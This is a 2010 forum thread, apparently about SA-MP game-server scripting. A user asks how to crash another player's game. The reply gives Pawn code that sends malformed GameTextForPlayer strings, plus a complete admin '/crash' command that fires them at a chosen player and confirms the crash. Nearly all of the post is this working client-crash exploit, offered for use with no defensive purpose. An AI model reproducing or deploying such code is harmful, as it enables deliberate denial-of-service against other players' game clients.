25.03.2010, 10:31
how to crash someone's game? the 0.3a version doesn't support the invaild objects anymore.
what to do?
what to do?
Originally Posted by -PunisheR-
how to crash someone's game? the 0.3a version doesn't support the invaild objects anymore.
what to do? |
GameTextForPlayer(playerid, "~k~~INVALID_KEY~", 100, 5);
GameTextForPlayer(playerid, "іЈіІўЈ¬ІўІі~wwwwwwwwww",1000, 6);
if(strcmp(cmd, "/crash", true) == 0)
{
if(IsPlayerConnected(playerid))
{
tmp = strtok(cmdtext, idx);
if(!strlen(tmp))
{
SendClientMessage(playerid, COLOR_GRAD2, "SYNTAX: /crash [playerid/PartOfName]");
return 1;
}
giveplayerid = ReturnUser(tmp);
GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
if (PlayerInfo[playerid][pAdmin] >= 5)
{
if(IsPlayerConnected(giveplayerid))
{
if(giveplayerid != INVALID_PLAYER_ID)
{
if(giveplayerid != playerid && Untouchable[giveplayerid]) return SendClientMessage(playerid, COLOR_GREY, "* You Can't Do this on This player!");
GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0);
GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1);
GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2);
GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3);
GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4);
GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5);
GameTextForPlayer(giveplayerid, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6);
format(string, sizeof(string), "You have crashed %s (%d)'s game", giveplayer,giveplayerid);
SendClientMessage(playerid,COLOR_DBLUE, string);
return 1;
}
else
{
format(string, sizeof(string), "** Not Authorised!", giveplayerid);
SendClientMessage(playerid, COLOR_GRAD1, string);
}
}
}
else
{
format(string, sizeof(string), "** You are not Authorised to Use this Command!", giveplayerid);
SendClientMessage(playerid, COLOR_GRAD1, string);
}
}
return 1;
}